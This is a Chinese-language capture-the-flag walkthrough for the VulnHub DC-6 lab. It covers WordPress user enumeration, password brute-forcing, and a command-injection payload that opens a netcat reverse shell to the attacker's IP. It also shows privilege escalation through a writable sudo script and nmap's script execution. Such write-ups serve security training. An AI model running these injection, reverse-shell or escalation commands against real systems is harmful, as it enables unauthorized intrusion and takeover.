一，环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-6.zip
二，攻略
首先进行主机发现；
接下来进行端口扫描；
开放了22端口和80端口；
首先进行访问；
页面直接跳转；
想到dc-2；也是这种情况，进行同样的操作；
添加的内容：
192.168.20.148 wordy
这样就可以实现页面的正常访问；
发现是一个word press的CMS；
接下来我们仿照dc-2靶机的操作；
接下来针对word press使用wpscan进行扫描；
wpscan --url http://wordy -e u
拿到了几个用户名；
接下来尝试爆破ssh（由于22端口是开放的）；
并未爆破成功，账号密码可能不是ssh；
尝试扫描一下目录；
wordpress的后台登录页面；
用前面拿到的账号爆破；
最后得到一组账号密码；
账号：mark
密码：helpdesk01
登录成功；
这里存在一个命令执行；
构造payload；
127.0.0.1|nc -nv 192.168.20.151 4444 -e /bin/bash发现输入框对长度有限制；
这里可以使用burp抓包，也可以直接修改前端页面；
kali监听4444端口；
nc -lnvp 4444
连接成功；
python -c "import pty;pty.spawn('/bin/bash')"在/home目录下的mark用户的根目录下找到一个graham用户的密码；
现在尝试切换用户；
切换成功；
sudo -l
查看该用户可以以root权限执行哪些命令；
这里比较有意思的是graham用户与jens用户类似；
并且可以执行这个脚本：/home/jens/backups.sh
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens ./backups.sh成功切换到了jens用户；
接着继续查看可以使用root权限执行的命令；
接下来我们可以使用nmap这个命令来提权；
nmap提权（可以上网查找有关的知识点）；
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
其中的TF为一个临时文件；进行提权：
echo "os.execute('/bin/bash')" > /tmp/shell
sudo nmap --script=/tmp/shell
最后拿到最终的flag；
三，结论
hosts文件优先解析，优先级高于DNS；
暴力破解在某些时候很有用；
根据可执行的脚本文件，获取shell；
nmap提权的方法；
在创建临时文件的时候，一般选择/tmp目录，这个目录对于几乎所有的用户都有权限；
